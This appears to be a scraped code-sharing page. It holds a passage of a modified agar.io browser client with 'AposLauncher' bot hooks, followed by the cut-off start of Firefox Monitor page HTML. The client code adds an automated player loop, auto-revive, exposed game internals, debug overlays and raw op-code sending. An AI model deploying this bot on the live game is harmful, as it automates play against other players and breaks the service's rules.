y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w

    From user lifestylerr

  • marmollie101 / https-agpl.fsf.org-

    names.io, <!DOCTYPE html> <html lang=""> <head> <meta charset="utf-8" /> <link rel="stylesheet" href="/dist/app.min.css"> <script type="text/javascript" src="/dist/all-breaches.min.js"></script> <script type="text/javascript" src="/dist/app.min.js" defer></script> <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" /> <meta name="description" content="Find out if you’ve been part of a data breach with Firefox Monitor. Sign up for alerts about future breaches and get tips to keep your accounts safe." /> <meta name="theme-color" content="#002275" /> <meta property="og:title" content="Find out if you’ve been part of a data breach" /> <meta property="og:description" content="Have your online accounts been exposed in a data breach?" /> <meta property="og:url" content="https://monitor.firefox.com" /> <meta property="og:image" content="https://monitor.firefox.com/img/firefox-monitor.png" /> <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:title" content="Firefox Monitor" /> <meta name="twitter:description" content="Most people have about 100 online accounts. Have any of yours been exposed in a data breach? Find out." /> <title>Firefox Monitor</title> <link rel="icon" href="/img/favicons/favicon-64.png" sizes="64x64" /> <link rel="icon" href="/img/favicons/favicon-128.png" sizes="128x128" /> <link rel="icon" href="/img/favicons/favicon-256.png" sizes="256x256" /> </head> <body data-server-url="https://monitor.firefox.com" data-fxa-enabled="fxa-enabled" data-fxa-address=https://accounts.firefox.com/settings data-utm_source="https://monitor.firefox.com" data-utm_campaign="fx-monitor-fxa-integration" data-signed-in-user="false" > <div id="close-menu" class="close-menu"></div> <header id="header"> <div class="top-bar flx jst-cntr row-full-width"> <div class="join-fx-wrap flx"> <span class="join-fx-img"></span> <div class="join-fx-copy-wrap"> <span class="join-fx-copy">There is a way to protect your privacy. Join Firefox.<a class="learn-more" target="_blank" rel="noopener" 